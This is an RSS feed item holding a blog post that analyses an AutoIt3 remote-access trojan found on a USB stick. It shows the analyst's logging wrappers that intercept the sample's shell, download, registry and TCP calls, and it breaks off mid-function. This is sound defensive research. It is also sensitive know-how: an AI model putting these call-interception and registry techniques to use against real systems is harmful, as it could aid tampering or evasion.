<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Mehmet Ali</title>
    <description>The latest articles on Forem by Mehmet Ali (@malisipi).</description>
    <link>https://forem.com/malisipi</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F996225%2Fd7bc3703-b457-44c2-9f67-e3e8d5fb653d.png</url>
      <title>Forem: Mehmet Ali</title>
      <link>https://forem.com/malisipi</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/malisipi"/>
    <language>en</language>
    <item>
      <title>Hunting Coyote: A Full Analysis of the 0LIONW0 AutoIt3 RAT</title>
      <dc:creator>Mehmet Ali</dc:creator>
      <pubDate>Wed, 03 Dec 2025 17:30:00 +0000</pubDate>
      <link>https://forem.com/malisipi/hunting-coyote-a-full-analysis-of-the-0lionw0-autoit3-rat-13l4</link>
      <guid>https://forem.com/malisipi/hunting-coyote-a-full-analysis-of-the-0lionw0-autoit3-rat-13l4</guid>
      <description>&lt;h2&gt;
  
  
  0. Origin of the Story
&lt;/h2&gt;

&lt;p&gt;I found a USB at home. And I have no clue about it contains what. I plugged it to computer and I notice a folder named as "MozillaFirefox". I was sure about it wasn't a real Firefox edition however I didn't know what is it. After opening the "MozillaFirefox" folder, I found a suspicious EXE and a bunch of LNK files. And quickly realized it is a malware especially recognizing AutoIt 3 icon on top the EXE.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Decompiling
&lt;/h2&gt;

&lt;p&gt;Visual basic script and similar languages like it doesn't have true compiling state, they are mostly only obfuscating and convert them a basic binary format. After grabbing a AutoIt 3 decompiler, you can easily convert to source code however those obfuscations will stay as persistent. The source code that we get also have AutoIt 3 headers, which are not related with directly malware.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Preparation
&lt;/h2&gt;

&lt;h2&gt;
  
  
  2.1. Getting AutoIt 3
&lt;/h2&gt;

&lt;p&gt;Since AutoIt 3 runtime embeds  the version into metadata, it's very easy to learn. Our malware is using &lt;code&gt;3.3.8.1&lt;/code&gt;th version of AutoIt 3. It's important since malware not having file write operations. If we want to proxy them and log into a file, we will need correct headers with the malware. &lt;em&gt;I don't want to fix conflicts of a malware&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Also a good notice, &lt;code&gt;AutoIt3.exe&lt;/code&gt; from &lt;code&gt;3.3.8.1&lt;/code&gt; has same file with &lt;code&gt;GoogleChrome.exe&lt;/code&gt;. So the malware is abusing the signed AutoIt 3 runtime to run it. And the malware is only dependent to &lt;code&gt;GoogleChrome.a3x&lt;/code&gt; file.&lt;/p&gt;

&lt;h2&gt;
  
  
  2.2 Basic AutoIt 3 Syntax
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;;&lt;/code&gt; is command block&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$var&lt;/code&gt; is used for variables&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;#include&lt;/code&gt; to include external AutoIt 3 scripts&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;=&lt;/code&gt; is assignment and equal operator same time&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt; is not equal operator&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;amp;&lt;/code&gt; is concat operator&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Func..EndFunc&lt;/code&gt; is function definition&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;If...Then...EndIf&lt;/code&gt; is if operator&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;While..WEnd&lt;/code&gt; is while loop&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;@AUTOIT_CONST&lt;/code&gt; is consts from AutoIt 3 runtime&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Global/Local&lt;/code&gt; is setting the scope of variable&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;@error&lt;/code&gt; is for handling errors&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  3. Dynamic Analysis
&lt;/h2&gt;

&lt;p&gt;Before removing the obfuscation we can run the script with function proxies and log the functions what does.&lt;/p&gt;

&lt;p&gt;I named the decompiled file as &lt;code&gt;GoogleChrome_debug.au3&lt;/code&gt; and moved it into same directory which placed &lt;code&gt;GoogleChrome.a3x&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Firstly we need to open a log file and create a logging function.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include &amp;lt;C:\Program Files (x86)\AutoIt3\Include\FileConstants.au3&amp;gt;&lt;/span&gt;

&lt;span class="kt"&gt;Local&lt;/span&gt; &lt;span class="n"&gt;$logDir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"C:&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;logs&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s"&gt;

If Not FileExists($logDir) Then
    DirCreate($logDir)
EndIf

Global $logFile = FileOpen($logDir &amp;amp; "&lt;/span&gt;&lt;span class="kt"&gt;Wolf_&lt;/span&gt;&lt;span class="s"&gt;" &amp;amp; @AutoItPID &amp;amp; "&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="s"&gt;" &amp;amp; WolfRandomString(8) &amp;amp; "&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="s"&gt;", $FO_APPEND)

Func WolfHowl($info)
    FileWrite($logFile, $info &amp;amp; @CRLF &amp;amp; @CRLF &amp;amp; @CRLF &amp;amp; "&lt;/span&gt;&lt;span class="o"&gt;-------------------------------------------&lt;/span&gt;&lt;span class="s"&gt;" &amp;amp; @CRLF)
EndFunc 

Func WolfRandomString($length)
    Local $chars = "&lt;/span&gt;&lt;span class="n"&gt;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;/span&gt;&lt;span class="s"&gt;"
    Local $result = ""
    For $i = 1 To $length
    $result &amp;amp;= StringMid($chars, Random(1, StringLen($chars), 1), 1)
    Next
    Return $result
EndFunc

WolfHowl("&lt;/span&gt;&lt;span class="kt"&gt;Started&lt;/span&gt;&lt;span class="s"&gt;")
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We created a &lt;code&gt;C:/logs&lt;/code&gt; folder (if not exist) and open a log file which named as &lt;code&gt;Wolf_$PID_$random.log&lt;/code&gt;. And also created a logging function named as &lt;code&gt;WolfHowl&lt;/code&gt; to make easier the write process in proxy part.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;WolfShellExecute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$params&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$workdir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$verb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$shown&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;WolfHowl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"ShellExecute"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$params&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$workdir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$verb&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$shown&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="kt"&gt;ShellExecute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;StringReplace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$params&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;".a3x"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"_debug.au3"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;$workdir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$verb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$shown&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;

&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;WolfInetGet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$options&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$bg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;WolfHowl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"InetGet"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$url&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$options&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$bg&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;

&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;WolfRegDelete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;WolfHowl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"RegDelete"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$val&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;

&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;WolfTCPSend&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$sock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;WolfHowl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"TCPSend"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$sock&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;

&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;WolfRegRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;$res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;RegRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;WolfHowl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"RegRead"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$val&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"::-&amp;gt; "&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$res&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="n"&gt;$res&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;

&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;WolfRegWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$vn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;WolfHowl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"RegWrite"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$k&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$vn&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$t&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$v&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="kt"&gt;RegWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;StringReplace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$vn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;".a3x"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"_debug.au3"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="kt"&gt;StringReplace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;".a3x"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"_debug.au3"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="kt"&gt;StringReplace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;".a3x"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"_debug.au3"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;

&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;WolfFileExists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;$res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;FileExists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;WolfHowl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"FileExists"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"::-&amp;gt; "&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$res&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="kt"&gt;False&lt;/span&gt;
    &lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="n"&gt;$res&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;

&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;WolfTCPNameToIP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;WolfHowl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"TCPNameToIP"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="s"&gt;"127.0.0.1"&lt;/span&gt;
    &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="kt"&gt;TCPNameToIP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;

&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;WolfFileCreateShortcut&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$l&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$in&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;WolfHowl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"FileCreateShortcut"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$f&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$l&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$w&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$a&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$d&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$h&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$in&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
